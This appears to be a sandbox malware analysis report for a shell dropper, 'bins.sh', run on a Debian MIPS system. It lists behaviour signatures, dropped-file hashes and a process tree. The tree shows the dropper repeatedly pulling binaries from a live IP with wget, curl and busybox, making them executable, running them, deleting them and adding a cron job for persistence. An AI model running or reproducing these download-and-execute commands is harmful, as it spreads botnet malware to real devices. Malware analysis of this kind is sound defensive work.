Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/11/2024, 19:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-xprt7ssarp
  • SHA256 41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1561) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • File and Directory Permissions Modification
              PID:766
            • /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Executes dropped EXE
              PID:768
            • /bin/rm
              rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Writes file to tmp directory
                PID:801
              • /bin/chmod
                chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • File and Directory Permissions Modification
                PID:803
              • /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Executes dropped EXE
                PID:804
              • /bin/rm
                rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                  PID:806
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Executes dropped EXE
                  PID:814
                • /bin/rm
                  rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Writes file to tmp directory
                    PID:818
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Writes file to tmp directory
                    PID:830
                  • /bin/chmod
                    chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:836
                  • /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Executes dropped EXE
                    PID:837
                  • /bin/rm
                    rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                      PID:840
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • Writes file to tmp directory
                      PID:841
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • Writes file to tmp directory
                      PID:856
                    • /bin/chmod
                      chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:858
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:860
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:861
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:862
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:863
                          • /bin/rm
                            rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                              PID:865
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                              2⤵
                                PID:868
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                2⤵
                                  PID:949
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:950
                                • /bin/chmod
                                  chmod 777 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:956
                                • /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  ./6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  2⤵
                                  • Executes dropped EXE
                                  PID:957
                                • /bin/rm
                                  rm 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  2⤵
                                    PID:959
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:960

                                Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB

                                      • Path /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                      • Size 111KB
                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                      • MD5 SHA1 SHA512 SSDEEP

                                      GkADRUpSSm0RUj5aype8y9pTa8mHIFil12

                                      • Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                                      • Size 112KB
                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                      • MD5 SHA1 SHA512 SSDEEP

                                      Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2

                                      • Path /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                      • Size 119KB
                                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW

                                      • Path /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                                      • Size 151KB
                                      • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                      • MD5 SHA1 SHA512 SSDEEP

                                      VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg

                                      • Path /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                                      • Size 98KB
                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf

                                      • Path /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                      • Size 99KB
                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                      • MD5 SHA1 SHA512 SSDEEP

                                      oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D

                                      • Path /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                                      • Size 117KB
                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                      • MD5 SHA1 SHA512 SSDEEP

                                      sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr

                                      • Path /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                      • Size 151KB
                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                      • MD5 SHA1 SHA512 SSDEEP

                                      tmp.eVmQXs

                                      • Path /var/spool/cron/crontabs/tmp.eVmQXs
                                      • Size 210B
                                      • SHA256 e5cc944be32dda18efdc17b2faa041bc39578b38da792306e6a9371c1da6388a
                                      • MD5 SHA1 SHA512